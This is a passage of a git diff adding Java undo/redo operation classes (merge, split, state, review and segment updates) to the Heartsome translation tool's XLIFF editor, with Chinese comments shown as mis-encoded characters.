net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.selection.command.SelectCellCommand; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.AbstractOperation; +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; + +/** + * ç»™åˆå¹¶æ–‡æœ¬æ®µæ·»åŠ æ’¤é”€ä¸Žé‡åšåŠŸèƒ½ + * @author robert 2012-11-06 + */ +public class MergeSegmentOperation extends AbstractOperation { + + private XLIFFEditorImplWithNatTable xliffEditor; + + private XLFHandler handler; + + /** è¦è¿›è¡Œåˆå¹¶çš„所有文本段的 rowId çš„é›†åˆ */ + private List rowIdList; + + private Map oldSegFragMap; + + public MergeSegmentOperation(String label, XLIFFEditorImplWithNatTable xliffEditor, XLFHandler handler, List rowIdList) { + super(label); + this.xliffEditor = xliffEditor; + NatTable table = xliffEditor.getTable(); + IUndoContext context = (IUndoContext) table.getData(IUndoContext.class.getName()); + addContext(context); + this.rowIdList = rowIdList; + this.handler = handler; + oldSegFragMap = new HashMap(); + } + + @Override + public IStatus execute(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + // 先获å–åˆå¹¶å‰æ‰€æœ‰æ–‡æœ¬æ®µçš„ content + HsMultiActiveCellEditor.commit(true); + for(String rowId : rowIdList){ + oldSegFragMap.put(rowId, handler.getTUFragByRowId(rowId)); + } + + for (int i = rowIdList.size() - 2; i >= 0; i--) { + handler.mergeSegment(rowIdList.get(i), rowIdList.get(i + 1)); + } + + // Bug #2373:选择全部文本段åˆå¹¶åŽï¼Œæ— æ˜¾ç¤ºå†…容 +// xliffEditor.refresh(); + + // åˆå¹¶æ–‡æœ¬æ®µåŽè‡ªåŠ¨è°ƒæ•´å¤§å° + xliffEditor.autoResizeNotColumn(); + xliffEditor.jumpToRow(rowIdList.get(0));//[13-04-24]:austen å®šä½ + xliffEditor.refresh(); + xliffEditor.updateStatusLine(); + + //[13-04-24]R8中无显示模å¼ï¼Œåˆå¹¶æ–‡æœ¬æ®µåŽå®šä½ä¸å‡†çŒœæµ‹æ˜¯ç”±å…¶å¼•èµ·çš„。故删除--> è§ readmine #2982 + + return Status.OK_STATUS; + } + + @Override + public IStatus redo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + return execute(monitor, info); + } + + @Override + public IStatus undo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + handler.resetMergeSegment(oldSegFragMap); + xliffEditor.autoResizeNotColumn(); + return Status.OK_STATUS; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/NeedsReviewOperation.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/NeedsReviewOperation.java new file mode 100644 index 0000000..95176e8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/NeedsReviewOperation.java @@ -0,0 +1,84 @@ +/** + * HasQuestionOperation.java + * + * Version information : + * + * Date:Mar 1, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable; + +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.sourceforge.nattable.NatTable; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.AbstractOperation; +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class NeedsReviewOperation extends AbstractOperation { + + private List rowIdList; + + private NatTable table; + + private XLFHandler handler; + + private String state; + + private Map oldState; + + public NeedsReviewOperation(String label, NatTable natTable, List rowIdList, XLFHandler handler, String state) { + super(label); + IUndoContext context = (IUndoContext) natTable.getData(IUndoContext.class.getName()); + addContext(context); + this.table = natTable; + this.rowIdList = rowIdList; + this.handler = handler; + this.state = state; + this.oldState = handler.getTuPropValue(rowIdList, "hs:needs-review"); + } + + @Override + public IStatus execute(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + if (rowIdList != null && rowIdList.size() > 0) { + if("yes".equals(state)){ + handler.changeTuPropValue(rowIdList, "hs:needs-review", state); + }else{ + handler.deleteTuProp(rowIdList, "hs:needs-review"); + } + table.redraw(); + } + return Status.OK_STATUS; + } + + @Override + public IStatus redo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + return execute(monitor, info); + } + + @Override + public IStatus undo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + if (oldState != null && oldState.size() > 0) { + handler.changeTuPropValue(oldState, "hs:needs-review"); + table.redraw(); + } + return Status.OK_STATUS; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/RemoveAllTagsOperation.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/RemoveAllTagsOperation.java new file mode 100644 index 0000000..88db168 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/RemoveAllTagsOperation.java @@ -0,0 +1,64 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable; + +import java.util.HashMap; +import java.util.List; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.sourceforge.nattable.NatTable; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.AbstractOperation; +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; + +public class RemoveAllTagsOperation extends AbstractOperation { + + private XLFHandler handler; + + private List rowIds; + + private HashMap map; + + private NatTable table; + + public RemoveAllTagsOperation(String label, NatTable table, XLFHandler handler, List rowIds) { + super(label); + IUndoContext context = (IUndoContext) table.getData(IUndoContext.class.getName()); + addContext(context); + this.table = table; + this.handler = handler; + this.rowIds = rowIds; + } + + @Override + public IStatus execute(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + map = handler.removeAllTags(rowIds); + refreshNatTable(); + return Status.OK_STATUS; + } + + @Override + public IStatus redo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + return execute(monitor, info); + } + + @Override + public IStatus undo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + handler.resetRemoveAllTags(map); + refreshNatTable(); + return Status.OK_STATUS; + } + + private void refreshNatTable() { + if (XLIFFEditorImplWithNatTable.getCurrent() != null) { + XLIFFEditorImplWithNatTable xliffEditor = XLIFFEditorImplWithNatTable.getCurrent(); + xliffEditor.autoResize(); + xliffEditor.refresh(); + } + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/SendTOTmOperation.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/SendTOTmOperation.java new file mode 100644 index 0000000..36b06cb --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/SendTOTmOperation.java @@ -0,0 +1,94 @@ +/** + * SendTOTmOperation.java + * + * Version information : + * + * Date:Mar 1, 2012 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable; + +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.sourceforge.nattable.NatTable; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.AbstractOperation; +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class SendTOTmOperation extends AbstractOperation { + private List rowIdList; + private XLFHandler handler; + private Map oldState; + private NatTable table; + private String state; + + public SendTOTmOperation(String label, NatTable natTable, List rowIdList, XLFHandler handler, String state) { + super(label); + IUndoContext context = (IUndoContext) natTable.getData(IUndoContext.class.getName()); + addContext(context); + this.table = natTable; + this.rowIdList = rowIdList; + this.handler = handler; + this.state = state; + this.oldState = handler.getTuPropValue(rowIdList, "hs:send-to-tm"); + } + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.operations.AbstractOperation#execute(org.eclipse.core.runtime.IProgressMonitor, + * org.eclipse.core.runtime.IAdaptable) + */ + @Override + public IStatus execute(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + if (rowIdList != null && rowIdList.size() > 0) { + if(state.equals("no")){ + handler.changeTuPropValue(rowIdList, "hs:send-to-tm", state); + }else{ + handler.deleteTuProp(rowIdList, "hs:send-to-tm"); + } + table.redraw(); + } + return Status.OK_STATUS; + } + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.operations.AbstractOperation#redo(org.eclipse.core.runtime.IProgressMonitor, + * org.eclipse.core.runtime.IAdaptable) + */ + @Override + public IStatus redo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + return execute(monitor, info); + } + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.operations.AbstractOperation#undo(org.eclipse.core.runtime.IProgressMonitor, + * org.eclipse.core.runtime.IAdaptable) + */ + @Override + public IStatus undo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + if (oldState != null && oldState.size() > 0) { + handler.changeTuPropValue(oldState, "hs:send-to-tm"); + table.redraw(); + } + return Status.OK_STATUS; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/SplitSegmentOperation.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/SplitSegmentOperation.java new file mode 100644 index 0000000..0a514e7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/SplitSegmentOperation.java @@ -0,0 +1,77 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable; + +import java.util.Arrays; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.search.coordinate.ActiveCellRegion; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.selection.event.RowSelectionEvent; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.AbstractOperation; +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; + +public class SplitSegmentOperation extends AbstractOperation { + + private XLIFFEditorImplWithNatTable xliffEditor; + + private XLFHandler handler; + + private int offset; + + private String tuFragment; + + private int rowIndex; + + private String rowId; + + public SplitSegmentOperation(String label, XLIFFEditorImplWithNatTable xliffEditor, XLFHandler handler, + int rowIndex, int offset) { + super(label); + this.xliffEditor = xliffEditor; + IUndoContext context = (IUndoContext) xliffEditor.getTable().getData(IUndoContext.class.getName()); + addContext(context); + this.handler = handler; + this.offset = offset; + this.rowIndex = rowIndex; + this.rowId = handler.getRowId(rowIndex); + } + + @Override + public IStatus execute(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + tuFragment = handler.splitSegment(rowId, offset); + refreshNatTable(); + xliffEditor.jumpToRow(rowId + "-1"); + xliffEditor.refresh(); + return Status.OK_STATUS; + } + + @Override + public IStatus redo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + return execute(monitor, info); + } + + @Override + public IStatus undo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + handler.resetSplitSegment(rowId, tuFragment); + refreshNatTable(); + xliffEditor.jumpToRow(rowId); + xliffEditor.refresh(); + return Status.OK_STATUS; + } + + private void refreshNatTable() { + SelectionLayer selectionLayer = LayerUtil.getLayer(xliffEditor.getTable(), SelectionLayer.class); + int rowPosition = selectionLayer.getRowPositionByIndex(rowIndex); + selectionLayer.fireLayerEvent(new RowSelectionEvent(selectionLayer, Arrays.asList(new Integer[] { rowPosition, + rowPosition + 1 }))); + xliffEditor.autoResizeNotColumn(); + ActiveCellRegion.setActiveCellRegion(null); + } +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/StateOperation.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/StateOperation.java new file mode 100644 index 0000000..a939b49 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/StateOperation.java @@ -0,0 +1,82 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable; + +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.sourceforge.nattable.NatTable; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.AbstractOperation; +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; + +public class StateOperation extends AbstractOperation { + + private List rowIdList; + + private NatTable table; + + private XLFHandler handler; + + private String state; + + private Map oldState; + + /** + * “修改状æ€â€œæ“作 + * @param label + * æ“作å + * @param natTable + * NatTable对象 + * @param rowIdList + * RowIdé›†åˆ + * @param handler + * XLFHandler对象 + * @param state + * 状æ€å€¼ï¼ˆTarget节点的state属性的值) + */ + public StateOperation(String label, NatTable natTable, List rowIdList, XLFHandler handler, String state) { + super(label); + IUndoContext context = (IUndoContext) natTable.getData(IUndoContext.class.getName()); + addContext(context); + this.table = natTable; + this.rowIdList = rowIdList; + this.handler = handler; + this.state = state; + this.oldState = handler.getTgtPropValue(rowIdList, "state"); + } + + @Override + public IStatus execute(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + if (rowIdList != null && rowIdList.size() > 0) { + handler.changeTgtPropValue(rowIdList, "state", state); + if(state.equals("translated") || state.equals("new")){ //切æ¢åˆ°å·²ç¿»è¯‘或è‰ç¨¿çŠ¶æ€ + handler.deleteTuProp(rowIdList, "approved"); + } + if(state.equals("signed-off")){ + handler.changeTuPropValue(rowIdList, "approved", "yes"); + } + table.redraw(); + } + return Status.OK_STATUS; + } + + @Override + public IStatus redo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + return execute(monitor, info); + } + + @Override + public IStatus undo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + if (oldState != null && oldState.size() > 0) { + handler.changeTgtPropValue(oldState, "state"); + table.redraw(); + } + return Status.OK_STATUS; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/UpdateDataOperation.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/UpdateDataOperation.java new file mode 100644 index 0000000..8ce5a6f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/UpdateDataOperation.java @@ -0,0 +1,116 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable; + +import net.heartsome.cat.ts.ui.xliffeditor.nattable.UpdateDataBean; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiActiveCellEditor; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.HsMultiCellEditorControl; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.handler.AutoResizeCurrentRowsCommand; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.layer.LayerUtil; +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.edit.command.UpdateDataCommand; +import net.sourceforge.nattable.layer.DataLayer; +import net.sourceforge.nattable.layer.event.CellVisualChangeEvent; +import net.sourceforge.nattable.selection.command.SelectCellCommand; +import net.sourceforge.nattable.viewport.ViewportLayer; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.AbstractOperation; +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; + +public class UpdateDataOperation extends AbstractOperation { + + private final Object oldValue; + + private final DataLayer dataLayer; + + private final UpdateDataCommand command; + + private final NatTable table; + + private final ViewportLayer viewportLayer; + + public UpdateDataOperation(NatTable table, UpdateDataCommand command) { + this(table, LayerUtil.getLayer(table, DataLayer.class), command); + } + + public UpdateDataOperation(NatTable table, DataLayer dataLayer, UpdateDataCommand command) { + super("Typing"); + IUndoContext undoContext = (IUndoContext) table.getData(IUndoContext.class.getName()); + addContext(undoContext); + Object currentValue = dataLayer.getDataValueByPosition(command.getColumnPosition(), command.getRowPosition()); + oldValue = currentValue == null ? new UpdateDataBean() : new UpdateDataBean((String) currentValue, null, null); + this.dataLayer = dataLayer; + this.command = command; + this.table = table; + viewportLayer = LayerUtil.getLayer(table, ViewportLayer.class); + } + + @Override + public IStatus execute(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + Object newValue = command.getNewValue() == null ? new UpdateDataBean() : command.getNewValue(); + if (((UpdateDataBean) newValue).getText().equals(((UpdateDataBean) oldValue).getText())) { // 值相åŒï¼Œåˆ™å–消æ“作 + int currentRow = command.getRowPosition() + 1 /* 列头å ä¸€è¡Œ */; // 修改行在当å‰ä¸€å±æ˜¾ç¤ºçš„几行中的相对ä½ç½® + table.doCommand(new AutoResizeCurrentRowsCommand(table, new int[] { currentRow }, table.getConfigRegistry())); + return Status.CANCEL_STATUS; + } + return refreshNatTable(newValue, false); + } + + @Override + public IStatus redo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + return refreshNatTable(command.getNewValue(), true); + } + + @Override + public IStatus undo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + return refreshNatTable(oldValue, true); + } + + /** + * æ›´æ–° NatTable çš„ UI + * @param value + * å•å…ƒæ ¼ä¿å­˜çš„值 + * @param move + * 是å¦ç§»åŠ¨å•å…ƒæ ¼åˆ°æŒ‡å®šåŒºåŸŸ; + */ + private IStatus refreshNatTable(Object value, boolean move) { + if (table == null || table.isDisposed()) { + return Status.CANCEL_STATUS; + } + int columnPosition = command.getColumnPosition(); + int rowPosition = command.getRowPosition(); + // 实质上 DataLayer 层的 index å’Œ position 是一致的,此方法å¯ä»¥å¯¹èŒƒå›´åˆ¤æ–­ + int rowIndex = dataLayer.getRowIndexByPosition(rowPosition); + int columnIndex = dataLayer.getColumnIndexByPosition(columnPosition); + if (rowIndex == -1 || columnIndex == -1) { + return Status.CANCEL_STATUS; + } + // 修改值并刷新 UI。 + dataLayer.getDataProvider().setDataValue(columnIndex, rowIndex, value); + dataLayer.fireLayerEvent(new CellVisualChangeEvent(dataLayer, columnPosition, rowPosition)); + + int currentRow = rowPosition + 1 /* 列头å ä¸€è¡Œ */; // 修改行在当å‰ä¸€å±æ˜¾ç¤ºçš„几行中的相对ä½ç½® + table.doCommand(new AutoResizeCurrentRowsCommand(table, new int[] { currentRow }, table.getConfigRegistry())); + + // 先记录下å¯è§åŒºåŸŸçš„范围 + int originRowPosition = viewportLayer.getOriginRowPosition(); + int rowCount = viewportLayer.getRowCount(); // 总行数 + + int row = LayerUtil.convertRowPosition(dataLayer, rowPosition, viewportLayer); + // æ­¤æ“作会自动调整选中å•å…ƒæ ¼è¿›å…¥å¯è§åŒºåŸŸ + + if (move) { // 定ä½åˆ°å±å¹•ç¬¬ä¸‰è¡Œçš„ä½ç½® + if (rowPosition < originRowPosition || rowPosition > originRowPosition + rowCount) { + HsMultiActiveCellEditor.commit(true); + viewportLayer.doCommand(new SelectCellCommand(viewportLayer, columnPosition, row, false, false)); + HsMultiCellEditorControl.activeSourceAndTargetCell(XLIFFEditorImplWithNatTable.getCurrent()); + } + } + return Status.OK_STATUS; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/UpdateSegmentsOperation.java b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/UpdateSegmentsOperation.java new file mode 100644 index 0000000..e3254c6 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.xliffeditor.nattable/src/net/heartsome/cat/ts/ui/xliffeditor/nattable/undoable/UpdateSegmentsOperation.java @@ -0,0 +1,214 @@ +package net.heartsome.cat.ts.ui.xliffeditor.nattable.undoable; + +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import net.heartsome.cat.ts.core.file.XLFHandler; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorImplWithNatTable; +import net.heartsome.cat.ts.ui.xliffeditor.nattable.resource.Messages; +import net.sourceforge.nattable.NatTable; + +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.core.commands.operations.AbstractOperation; +import org.eclipse.core.commands.operations.IUndoContext; +import org.eclipse.core.runtime.Assert; +import org.eclipse.core.runtime.IAdaptable; +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.jface.dialogs.MessageDialog; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +public class UpdateSegmentsOperation extends AbstractOperation { + + /** 日志 */ + Logger LOGGER = LoggerFactory.getLogger(UpdateSegmentsOperation.class); + + /** XLIFF 编辑器 */ + private final XLIFFEditorImplWithNatTable xliffEditor; + + /** NatTable */ + private final NatTable table; + + /** XLIFF 处ç†ç±» */ + private final XLFHandler handler; + + /** 缓存的未修改å‰çš„文本段 */ + private final Map segmentCache; + + /** åšä¿®æ”¹çš„行的 ID é›†åˆ */ + private final List rowIds; + + /** Key:修改的行的 Idï¼›value:新值 */ + private Map map; + + /** 新值 */ + private String newValue; + + private String matchType; + + private String quality; + + /** 是å¦éœ€è¦æ‰¹å‡†æ–‡æœ¬æ®µ */ + private final boolean approved; + + /** + * 修改文本段的æ“作 + * @param xliffEditor + * XLIFF 编辑器 + * @param handler + * XLIFF 文件的处ç†ç±» + * @param map + * Key:修改的行的 Idï¼›value:新值 + * @param columnIndex + * 列索引 + * @param approved + * 是å¦éœ€è¦æ‰¹å‡†æ–‡æœ¬æ®µ + */ + public UpdateSegmentsOperation(XLIFFEditorImplWithNatTable xliffEditor, XLFHandler handler, + Map map, int columnIndex, boolean approved, String matchType, String quality) { + this(xliffEditor, handler, new ArrayList(map.keySet()), columnIndex, approved, matchType, quality); + this.map = map; + } + + /** + * 修改文本段的æ“作 + * @param xliffEditor + * XLIFF 编辑器 + * @param handler + * XLIFF 文件的处ç†ç±» + * @param rowIds + * åšä¿®æ”¹çš„行的 ID é›†åˆ + * @param columnIndex + * 列索引 + * @param newValue + * 新值 + * @param approved + * 是å¦éœ€è¦æ‰¹å‡†æ–‡æœ¬æ®µ + */ + public UpdateSegmentsOperation(XLIFFEditorImplWithNatTable xliffEditor, XLFHandler handler, List rowIds, + int columnIndex, String newValue, boolean approved, String matchType, String quality) { + this(xliffEditor, handler, rowIds, columnIndex, approved, matchType, quality); + this.newValue = newValue; + } + + private UpdateSegmentsOperation(XLIFFEditorImplWithNatTable xliffEditor, XLFHandler handler, List rowIds, + int column, boolean approved, String matchType, String quality) { + super("Update Segments"); + this.xliffEditor = xliffEditor; + this.table = xliffEditor.getTable(); + IUndoContext undoContext = (IUndoContext) table.getData(IUndoContext.class.getName()); + addContext(undoContext); // 绑定上下文 + this.handler = handler; + this.rowIds = rowIds; + this.approved = approved; + segmentCache = handler.getTuNodes(rowIds); // 缓存未修改å‰çš„文本段 + this.matchType = matchType; + this.quality = quality; + } + + @Override + public IStatus execute(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + // updateCellEditor(); + Assert.isNotNull(rowIds, Messages.getString("undoable.UpdateSegmentsOperation.msg1")); + if (rowIds.size() == 0 || segmentCache == null || segmentCache.size() == 0) { + return Status.CANCEL_STATUS; + } + + if (newValue != null) { + handler.changeTgtTextValue(rowIds, newValue, matchType, quality); + } else if (map != null) { + handler.changeTgtTextValue(map, matchType, quality); + } else { + return Status.CANCEL_STATUS; + } + if (approved) { // 批准文本段 + List rowids = handler.approveTransUnits(rowIds, true); + if (rowids.size() > 0) { + boolean res = MessageDialog.openQuestion(table.getShell(), null, MessageFormat.format( + Messages.getString("undoable.UpdateSegmentsOperation.msg2"), rowIds.size())); + if (res) { + handler.approveTransUnits(rowIds, true, false); + } + } + } + int[] selectedRowIndexs = xliffEditor.getSelectedRows(); + // 修改 + if (!xliffEditor.isHorizontalLayout()) { + int[] temp = new int[selectedRowIndexs.length * 2]; + int j = 0; + for (int i = 0; i < selectedRowIndexs.length; i++) { + int sel = selectedRowIndexs[i] + 1; + temp[j++] = sel * 2; + temp[j++] = sel * 2 + 1; + } +// table.doCommand(new AutoResizeCurrentRowsCommand(table, temp, table.getConfigRegistry())); + } else { + int[] temp = new int[selectedRowIndexs.length]; + int j = 0; + for (int i = 0; i < selectedRowIndexs.length; i++) { + int sel = selectedRowIndexs[i] + 1; + temp[j++] = sel; + } +// table.doCommand(new AutoResizeCurrentRowsCommand(table, temp, table.getConfigRegistry())); + +// HsMultiActiveCellEditor.recalculateCellsBounds(); + } + table.redraw(); + return Status.OK_STATUS; + } + + @Override + public IStatus redo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + if(table == null || table.isDisposed()){ + return Status.CANCEL_STATUS; + } + return execute(monitor, info); + } + + @Override + public IStatus undo(IProgressMonitor monitor, IAdaptable info) throws ExecutionException { + Assert.isNotNull(segmentCache, Messages.getString("undoable.UpdateSegmentsOperation.msg3")); + + if(table == null || table.isDisposed()){ + return Status.CANCEL_STATUS; + } + handler.resetTuNodes(segmentCache); // é‡ç½®ä¸ºç¼“存的未修改å‰çš„文本段 + xliffEditor.refresh(); + return Status.OK_STATUS; + } + + // åŒæ­¥ä¿®æ”¹ Cell Editor 中的值,暂时ä¿ç•™ + // /** + // * 修改å•å…ƒæ ¼ç¼–辑器中的文本。 + // * @param newValue + // * @return ; + // */ + // private boolean updateCellEditor() { + // int rowIndex = ActiveCellEditor.getRowIndex(); + // if (rowIndex == -1) { + // return false; + // } + // ICellEditor cellEditor = ActiveCellEditor.getCellEditor(); + // if (cellEditor == null) { + // return false; + // } + // if (cellEditor instanceof StyledTextCellEditor) { + // StyledTextCellEditor editor = (StyledTextCellEditor) cellEditor; + // if (!editor.isClosed()) { + // String rowId = handler.getRowId(rowIndex); + // if (newValue != null && rowIds.contains(rowId)) { + // 